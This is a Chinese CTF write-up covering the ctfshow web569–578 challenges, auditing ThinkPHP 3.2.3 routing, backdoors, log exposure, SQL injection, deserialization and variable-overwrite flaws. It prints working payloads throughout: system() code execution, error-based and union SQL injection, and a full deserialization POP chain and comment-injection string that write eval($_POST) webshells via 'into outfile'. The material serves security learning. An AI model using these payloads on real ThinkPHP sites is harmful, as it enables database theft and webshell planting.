前言
跟进一步增强php的代码审计能力,了解tp框架
从最基础的开始学习,目的不是为了一把梭,而是要明白它的原理和设计思路,为我们以后自主调试挖洞打下基础
web569——路由
本题使用的版本为3.2.3
入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作:
http://serverName/index.php/模块/控制器/操作
这是3.2版本的标准URL格式。
payload:
http://ctf.show:8080/index.php/Admin/Login/ctfshowLogin
注意:
ThinkPHP框架的URL是区分大小写(主要是针对模块、控制器和操作名,不包括应用参数)的,这一点非常关键,因为ThinkPHP的命名规范是采用驼峰法(首字母大写)的规则,而URL中的模块和控制器都是对应的文件,因此在Linux环境下面必然存在区分大小写的问题。
web570——闭包路由后门
需要根据题目提供的application文件来进行审计
- 闭包路由
官方手册:闭包支持,仔细了解定义就是用户可以自定义的一些特殊路由
- seay自动审计:/Application/Common/Conf/config.php
这个路径在手册中有提到:
<?php
return array(
//'配置项'=>'配置值'
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'ctfshow', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'ctfshow', // 密码
'DB_PORT' => '3306', // 端口
'URL_ROUTER_ON' => true,
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){//这里可以根据pathinfo的url支持模式理解
call_user_func($f, $a);
}
)
);
payload:
web571——控制器后门
因为存在控制器后门,所以去到/Application/Home/Controller/IndexController.class.php文件:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
}
}
注意其中 n 的 位 置 , 此 处 调 用 了 s h o w 函 数 , 且 n的位置,此处调用了show函数,且 n的位置,此处调用了show函数,且n我们可以自定义
自行下载tp3的完整版来跟踪一下:
protected function show($content,$charset='',$contentType='',$prefix='') {
$this->view->display('',$charset,$contentType,$content,$prefix);
}
//既然题目要求的是渲染view中的内容,那就跟踪view中的display函数
——————————————————————————————————————————————————————————————————————————————————
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}
---------------------------------------------------------------------------------
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {//此处不为空,可以直接pass掉
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板(此处函数C的作用是优先执行设置获取或赋值,它有一个名字叫动态配置)
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);//EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);//此处为命令执行点
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}
经过上述总结需要满足点较少:
'php' == strtolower(C('TMPL_ENGINE_TYPE'))
可以通过seay定位一下,显然题目用的是php
payload:
?n=<?php system('cat%20/f*');?>
至于为什么不需要模板控制器和函数,可能是因为我们的入口文件
web572——未授权访问日志
文件位置:
/Application/Runtime/Logs/Home/年份_月份_日.log(21_04_15.log)
此处主要针对日期进行爆破
至于为什么可以访问日志文件:日志记录
默认情况下只是在调试模式记录日志:
如果debug之前没有关,或是目录限制没做好,可能造成信息泄露.
ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,所以如果你之前在线上开启过debug目录
限制又没做好,那么就可以尝试利用
web573——Tp3.2.3sql注入
payload:
//爆表
index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) %23
//爆列名
index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags'),0x7e),1) %23
//爆字段值
index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,substr((select group_concat(flag4s) from flags),16,32),0x7e),1) %23
web574
public function index($id=1){
$name = M('user')->where('id='.$id)->find();
}
最后还是逃脱不了find方法,需要重视的地方无非是where,按照相同方法debug:
在外面多了一层括号,可以尝试闭合:
?id=-1) union select 1,user(),3,4%23
?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23
web575——ThinkPHP3.2.3的反序列化
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=2;select "<?php eval(\$_POST[8]);?>" into outfile "/var/www/html/yn8.php";#'
);
}
}
}
//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);
}
}
namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick() ));
}
?>
web576——SQL注入(comment方法/注释注入)
搭建
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($id){
$this->show();
$user = M('user')->comment($id)->find(intval($id));
var_dump($user);
}
}
开始
debug开始,直奔主题,步入comment函数:
之前接触的是$options['where']
,现在是comment,最后还是到了parsesql:
然后步入进去:
返回值完全可以利用合并注释符号来实现用户自定义控制$comment
,并且最后都没有过滤,不过最后的问题是这样的:
我们传入的参数在limit后面,不要急,百度一下:
其中有提到limit后面可以有into关键字所以可以,写shell拿权限:
?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[8]);?>'/*
web577——exp注入
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags
相同原理不再赘述
web578——TP3 变量覆盖导致rce
搭建
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
在本地搭建一下环境,自己新建一个index.html,然后到ThinkPHP/Conf/convention.php中修改模版引擎为PHP。
开始
protected function assign($name,$value='') {
$this->view->assign($name,$value);
return $this;
}
传入的name不是数组,因此会进入else,返回值没有收到影响,
$name=_content
$value=<?php phpinfo();?>
然后就是进入熟悉的display函数了
注意extract的位置,会将$_content 解析为变量并同时覆盖掉下面的,然后就会触发后面的eval函数,造成rce
?name=_content&from=<?php phpinfo();?>
?name=_content&from=<?php%20system(%27cat%20/f*%27);?>